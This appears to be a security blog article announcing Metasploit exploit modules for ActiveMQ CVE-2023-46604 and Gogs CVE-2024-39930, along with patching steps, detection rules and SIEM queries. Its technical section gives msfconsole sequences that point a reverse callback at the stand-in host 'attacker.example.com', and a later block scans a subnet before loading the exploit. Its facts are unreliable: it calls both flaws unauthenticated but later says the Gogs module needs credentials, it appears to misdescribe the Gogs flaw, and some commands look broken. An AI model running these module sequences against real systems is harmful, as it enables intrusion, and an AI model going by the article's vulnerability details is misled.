Metasploit Framework has released new exploit modules targeting critical remote code execution (RCE) vulnerabilities in Apache ActiveMQ and Gogs, alongside a Windows kernel pointer enumeration module. These additions enable security professionals to test their defenses against CVE-2023-46604 (ActiveMQ) and CVE-2024-39930 (Gogs), both allowing unauthenticated attackers to execute arbitrary code on vulnerable systems. Organizations running these services should immediately update and validate their security posture using these newly available testing tools.
Introduction
The Metasploit Framework, maintained by Rapid7, has released its latest weekly update featuring three significant modules that security teams can leverage for penetration testing and vulnerability assessment. The highlight additions include exploit modules for Apache ActiveMQ (CVE-2023-46604) and Gogs Git service (CVE-2024-39930), both carrying critical severity ratings due to their remote code execution capabilities without authentication requirements.
This update demonstrates the framework’s continued commitment to providing security professionals with practical tools to identify and validate vulnerabilities before malicious actors can exploit them. With both vulnerabilities being actively targeted in the wild, these modules arrive at a critical time for defensive teams seeking to assess their exposure.
Background & Context
Apache ActiveMQ is a widely-deployed open-source message broker written in Java, commonly used in enterprise environments for facilitating communication between distributed applications. The vulnerability CVE-2023-46604, discovered in October 2023, affects versions prior to 5.15.16, 5.16.7, 5.17.6, and 5.18.3, and stems from improper input validation in the OpenWire protocol implementation.
Gogs, a lightweight self-hosted Git service written in Go, serves thousands of organizations seeking GitHub-like functionality within their own infrastructure. CVE-2024-39930 affects versions prior to 0.13.0 and exploits a flaw in the repository migration feature’s rebase functionality, allowing authenticated users to execute arbitrary commands on the host system.
The Windows kernel pointer enumeration module addresses information disclosure in the Windows kernel that can facilitate exploit development and privilege escalation attacks by revealing kernel memory addresses, defeating Address Space Layout Randomization (ASLR) protections.
Technical Breakdown
Apache ActiveMQ RCE (CVE-2023-46604)
The ActiveMQ vulnerability exploits a deserialization flaw in the OpenWire protocol handler. Attackers can craft malicious serialized objects within OpenWire messages that, when processed by the broker, execute arbitrary code with the privileges of the ActiveMQ process.
The Metasploit module implements the following attack sequence:
msf6 > use exploit/multi/misc/apache_activemq_rce_cve_2023_46604
msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > set RHOSTS target.example.com
msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > set RPORT 61616
msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > set LHOST attacker.example.com
msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > exploitThe exploit leverages the ClassPathXmlApplicationContext class to load a malicious Spring XML configuration from an attacker-controlled server, which then instantiates arbitrary Java classes leading to code execution.
Gogs Rebase RCE (CVE-2024-39930)
The Gogs vulnerability resides in the repository migration feature where user-supplied input during Git rebase operations isn’t properly sanitized. This allows injection of malicious Git hooks or commands that execute during the rebase process.
msf6 > use exploit/linux/http/gogs_rebase_rce_cve_2024_39930
msf6 exploit(linux/http/gogs_rebase_rce_cve_2024_39930) > set RHOSTS gogs.target.com
msf6 exploit(linux/http/gogs_rebase_rce_cve_2024_39930) > set USERNAME validuser
msf6 exploit(linux/http/gogs_rebase_rce_cve_2024_39930) > set PASSWORD validpass
msf6 exploit(linux/http/gogs_rebase_rce_cve_2024_39930) > set LHOST attacker.example.com
msf6 exploit(linux/http/gogs_rebase_rce_cve_2024_39930) > exploitThis module requires valid credentials but demonstrates how authenticated users can escalate to full system compromise through command injection in Git operations.
Windows Kernel Pointer Enumeration
The enumeration module uses documented Windows API calls to leak kernel pointer addresses, useful for security researchers developing exploits or testing ASLR implementations:
msf6 > use post/windows/gather/kernel_pointer_enum
msf6 post(windows/gather/kernel_pointer_enum) > set SESSION 1
msf6 post(windows/gather/kernel_pointer_enum) > runImpact & Risk Assessment
Apache ActiveMQ
Severity: Critical (CVSS 10.0)
The ActiveMQ vulnerability represents maximum severity due to:
- No authentication required
- Network-accessible attack vector
- Complete system compromise possible
- Widespread deployment in enterprise environments
- Active exploitation observed in the wild
Successful exploitation grants attackers complete control over the message broker, enabling data interception, manipulation of business-critical messaging, and lateral movement within networks.
Gogs RCE
Severity: High (CVSS 8.8)
While requiring authentication, this vulnerability poses significant risk:
- Any authenticated user can exploit (not just administrators)
- Direct remote code execution on the hosting server
- Potential access to all hosted repositories and credentials
- Self-hosted instances often contain sensitive source code and secrets
Combined Threat Landscape
With these exploits now publicly available in Metasploit, the barrier to exploitation has significantly lowered. Threat actors with minimal technical expertise can now weaponize these vulnerabilities, increasing the urgency for patching and validation testing.
Vendor Response
Apache Software Foundation released patches for CVE-2023-46604 in October 2023, urging immediate updates to versions 5.15.16, 5.16.7, 5.17.6, or 5.18.3+. The foundation issued security advisories emphasizing the critical nature of this vulnerability and recommended disabling OpenWire protocol if not required.
Gogs Development Team addressed CVE-2024-39930 in version 0.13.0, released in 2024. The fix implements proper input sanitization for Git operations and adds additional validation layers for repository migration features. The team recommends immediate upgrades and reviewing user permissions as defense-in-depth measures.
Rapid7 continues its responsible disclosure practices, releasing these modules only after sufficient time for patching and in response to observed active exploitation by malicious actors.
Mitigations & Workarounds
Apache ActiveMQ
Immediate Actions:
# Check ActiveMQ version
grep version /opt/activemq/lib/activemq-all-*.jar
# Upgrade to patched version
wget https://archive.apache.org/dist/activemq/5.18.3/apache-activemq-5.18.3-bin.tar.gz
tar -xzf apache-activemq-5.18.3-bin.tar.gz
Temporary Workarounds:
- Disable OpenWire protocol if not required in
activemq.xml - Implement network segmentation restricting access to port 61616
- Deploy Web Application Firewall (WAF) rules detecting malicious serialized objects
Gogs
Patch Immediately:
# Backup existing installation
tar -czf gogs-backup-$(date +%F).tar.gz /opt/gogs
# Upgrade to version 0.13.0+
wget https://dl.gogs.io/0.13.0/gogs_0.13.0_linux_amd64.tar.gz
tar -xzf gogs_0.13.0_linux_amd64.tar.gz
Additional Hardening:
- Audit user accounts and remove unnecessary privileges
- Disable repository migration features if not required
- Implement strict Git hook policies
- Run Gogs service with minimal system privileges
Detection & Monitoring
Network-Based Detection
Monitor for suspicious activities using IDS/IPS rules:
alert tcp any any -> any 61616 (msg:"Possible ActiveMQ CVE-2023-46604 Exploit";
content:"ClassPathXmlApplicationContext"; flow:to_server,established;
classtype:attempted-admin; sid:1000001; rev:1;)Host-Based Indicators
ActiveMQ Compromise Indicators:
- Unexpected Java child processes spawned by ActiveMQ
- Outbound connections from ActiveMQ process to external IPs
- Unusual file modifications in ActiveMQ directories
- Suspicious entries in
data/activemq.log
Gogs Compromise Indicators:
- Unexpected system commands in Gogs logs
- New Git hooks in repository directories
- Unusual processes spawned by the Gogs service
- Modified files in
/opt/gogs/outside update procedures
SIEM Query Examples
-- Detect ActiveMQ exploitation attempts
index=network sourcetype=firewall dest_port=61616
| stats count by src_ip, dest_ip
| where count > 100
-- Gogs suspicious activity
index=linux sourcetype=syslog process=gogs "exec" OR "eval" OR "system"
Best Practices
Vulnerability Management:
- Maintain an accurate asset inventory identifying all ActiveMQ and Gogs instances
- Implement automated vulnerability scanning with weekly cadence
- Prioritize patching based on internet exposure and data sensitivity
- Use Metasploit modules to validate patch effectiveness in controlled environments
Defense in Depth:
- Network segmentation isolating message brokers and Git services
- Principle of least privilege for service accounts
- Multi-factor authentication for all Git service access
- Regular security audits of messaging infrastructure
Incident Preparedness:
- Develop playbooks for RCE incident response
- Maintain offline backups of critical repositories and message configurations
- Conduct tabletop exercises simulating compromise scenarios
- Establish communication protocols with stakeholders
Proactive Testing:
# Use Metasploit safely in testing environments
msfconsole -q
msf6 > workspace -a activemq_testing
msf6 > db_nmap -sV -p 61616 192.168.1.0/24
msf6 > services -p 61616 -R
msf6 > use exploit/multi/misc/apache_activemq_rce_cve_2023_46604Key Takeaways
- Immediate Action Required: Organizations running Apache ActiveMQ or Gogs must patch immediately or implement compensating controls
- Active Exploitation: Both vulnerabilities have been exploited in the wild; Metasploit modules lower the exploitation barrier further
- Defense Validation: Security teams should use these Metasploit modules in controlled environments to validate their defenses and detection capabilities
- Layered Security: No single control suffices; implement network segmentation, monitoring, and incident response capabilities
- Continuous Monitoring: Deploy detection rules and regularly review logs for indicators of compromise
- Testing Framework: Metasploit provides valuable tools for red teams and penetration testers to identify weaknesses before attackers do
The availability of these exploit modules underscores the critical importance of timely patching and comprehensive security testing. Organizations that haven’t yet updated these services should treat this as a critical priority and validate their security posture using the tools now available to both defenders and attackers.
References
- Rapid7 Metasploit Framework GitHub Repository: https://github.com/rapid7/metasploit-framework
- CVE-2023-46604 – Apache ActiveMQ RCE: https://nvd.nist.gov/vuln/detail/CVE-2023-46604
- CVE-2024-39930 – Gogs Rebase RCE: https://nvd.nist.gov/vuln/detail/CVE-2024-39930
- Apache ActiveMQ Security Advisory: https://activemq.apache.org/security-advisories
- Gogs Release Notes v0.13.0: https://github.com/gogs/gogs/releases/tag/v0.13.0
- Metasploit Weekly Wrap-Up: https://blog.rapid7.com/tag/metasploit/
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